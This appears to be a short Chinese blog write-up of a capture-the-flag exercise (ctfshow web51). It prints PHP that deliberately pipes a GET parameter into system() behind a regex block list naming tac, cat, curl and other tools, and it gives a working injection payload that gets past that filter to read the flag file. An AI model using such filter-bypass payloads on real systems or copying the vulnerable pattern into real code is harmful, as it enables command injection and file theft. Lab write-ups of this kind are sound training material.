web51笔记(+过滤tac)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次居然过滤了tac,但是在web31的时候讲过,另外同cat功能的函数还有: cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

?c=nl<>fl\ag.php||ls

flag在源代码

posted @ 2025-03-14 23:45  justdoIT*  阅读(8)  评论(0)    收藏  举报